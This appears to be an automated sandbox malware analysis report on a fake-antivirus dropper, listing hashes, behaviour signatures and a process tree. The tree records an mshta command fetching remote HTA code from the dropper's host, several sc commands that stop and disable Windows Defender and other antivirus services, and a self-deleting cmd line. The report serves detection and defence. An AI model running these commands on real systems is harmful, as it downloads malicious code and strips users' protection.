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Analysis

  • max time kernel
    150s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    21/09/2024, 23:08

General

  • Target

    f0cbf6929fda2a51baf7dd154b94342f_JaffaCakes118.exe

  • Size

    2.2MB

  • MD5

    f0cbf6929fda2a51baf7dd154b94342f

  • SHA1

    e65312de31ec555e464d7b05d424918f8f696304

  • SHA256

    e24d4e9188c3fa5246436b14a81489dd93dc8e1d99f9fdd0abaa207acd4c157e

  • SHA512

    d24646dfac190148da7179f3ccd9e2f02e6aed631527265803937251f27c57eef6c26c03daac7694248b46233c6d296a98d47bd11dcb45c77f35e75cc27a78f0

  • SSDEEP

    24576:+kv4d+NvM4auS/eY/q/fBuLARQoclgvO4JppSGtpI3BTBWU/8VaRNX2B9A:vv409R8qXBuL6O4VS6G3xUU/8VaPmY

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://galaint.onlinesecstats.info/?0=118&1=2&2=1&3=59&4=i&5=7601&6=6&7=1&8=99600&9=1033&10=0&11=0000&12=vevabuudpc&14=1

Signatures

  • Disables service(s) 3 TTPs
  • UAC bypass 3 TTPs 3 IoCs
  • Disables taskbar notifications via registry modification
  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 64 IoCs
  • Stops running service(s) 4 TTPs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 2 IoCs
  • UPX packed file 8 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Indicator Removal: File Deletion 1 TTPs

    Adversaries may delete files left behind by the actions of their intrusion activity.

  • Drops file in System32 directory 3 IoCs
  • Launches sc.exe 8 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 12 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 3 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 4 IoCs
  • Suspicious use of SendNotifyMessage 4 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 44 IoCs
  • System policy modification 1 TTPs 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\f0cbf6929fda2a51baf7dd154b94342f_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\f0cbf6929fda2a51baf7dd154b94342f_JaffaCakes118.exe"
    1⤵
    • Loads dropped DLL
    • System Location Discovery: System Language Discovery
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1488
    • C:\Users\Admin\AppData\Roaming\Protector-ldgh.exe
      C:\Users\Admin\AppData\Roaming\Protector-ldgh.exe
      2⤵
      • UAC bypass
      • Event Triggered Execution: Image File Execution Options Injection
      • Executes dropped EXE
      • Adds Run key to start application
      • Checks whether UAC is enabled
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Modifies Internet Explorer settings
      • Modifies system certificate store
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      • System policy modification
      PID:2460
      • C:\Windows\SysWOW64\mshta.exe
        mshta.exe "http://galaint.onlinesecstats.info/?0=118&1=2&2=1&3=59&4=i&5=7601&6=6&7=1&8=99600&9=1033&10=0&11=0000&12=vevabuudpc&14=1"
        3⤵
        • System Location Discovery: System Language Discovery
        • Modifies Internet Explorer settings
        PID:2672
      • C:\Windows\SysWOW64\sc.exe
        sc stop WinDefend
        3⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:2596
      • C:\Windows\SysWOW64\sc.exe
        sc config WinDefend start= disabled
        3⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:3064
      • C:\Windows\SysWOW64\sc.exe
        sc stop msmpsvc
        3⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:2588
      • C:\Windows\SysWOW64\sc.exe
        sc config msmpsvc start= disabled
        3⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:992
      • C:\Windows\SysWOW64\sc.exe
        sc config ekrn start= disabled
        3⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:1780
      • C:\Windows\SysWOW64\sc.exe
        sc stop AntiVirService
        3⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:2852
      • C:\Windows\SysWOW64\sc.exe
        sc config AntiVirService start= disabled
        3⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:2644
      • C:\Windows\SysWOW64\sc.exe
        sc config AntiVirSchedulerService start= disabled
        3⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:1764
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c del "C:\Users\Admin\AppData\Local\Temp\F0CBF6~1.EXE" >> NUL
      2⤵
      • Deletes itself
      • System Location Discovery: System Language Discovery
      PID:1820

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • \Users\Admin\AppData\Roaming\Protector-ldgh.exe

    Filesize

    2.2MB

    MD5

    f0cbf6929fda2a51baf7dd154b94342f

    SHA1

    e65312de31ec555e464d7b05d424918f8f696304

    SHA256

    e24d4e9188c3fa5246436b14a81489dd93dc8e1d99f9fdd0abaa207acd4c157e

    SHA512

    d24646dfac190148da7179f3ccd9e2f02e6aed631527265803937251f27c57eef6c26c03daac7694248b46233c6d296a98d47bd11dcb45c77f35e75cc27a78f0

  • memory/1488-16-0x00000000755E0000-0x00000000756F0000-memory.dmp

    Filesize

    1.1MB

  • memory/1488-1-0x00000000755F1000-0x00000000755F2000-memory.dmp

    Filesize

    4KB

  • memory/1488-2-0x00000000755E0000-0x00000000756F0000-memory.dmp

    Filesize

    1.1MB

  • memory/1488-3-0x00000000755E0000-0x00000000756F0000-memory.dmp

    Filesize

    1.1MB

  • memory/1488-4-0x0000000000400000-0x000000000078F000-memory.dmp

    Filesize

    3.6MB

  • memory/1488-0-0x0000000000400000-0x00000000009B3000-memory.dmp

    Filesize

    5.7MB

  • memory/1488-15-0x0000000000400000-0x000000000078F000-memory.dmp

    Filesize

    3.6MB

  • memory/2460-20-0x00000000755E0000-0x00000000756F0000-memory.dmp

    Filesize

    1.1MB

  • memory/2460-18-0x0000000000400000-0x000000000078F000-memory.dmp

    Filesize

    3.6MB

  • memory/2460-14-0x00000000755E0000-0x00000000756F0000-memory.dmp

    Filesize

    1.1MB

  • memory/2460-19-0x00000000755E0000-0x00000000756F0000-memory.dmp

    Filesize

    1.1MB

  • memory/2460-17-0x00000000755E0000-0x00000000756F0000-memory.dmp

    Filesize

    1.1MB

  • memory/2460-23-0x0000000000400000-0x000000000078F000-memory.dmp

    Filesize

    3.6MB

  • memory/2460-21-0x0000000000400000-0x000000000078F000-memory.dmp

    Filesize

    3.6MB

  • memory/2460-37-0x0000000000400000-0x000000000078F000-memory.dmp

    Filesize

    3.6MB

  • memory/2460-38-0x00000000755E0000-0x00000000756F0000-memory.dmp

    Filesize

    1.1MB

  • memory/2460-39-0x00000000755E0000-0x00000000756F0000-memory.dmp

    Filesize

    1.1MB

  • memory/2460-40-0x0000000000400000-0x000000000078F000-memory.dmp

    Filesize

    3.6MB

  • memory/2460-43-0x0000000000400000-0x000000000078F000-memory.dmp

    Filesize

    3.6MB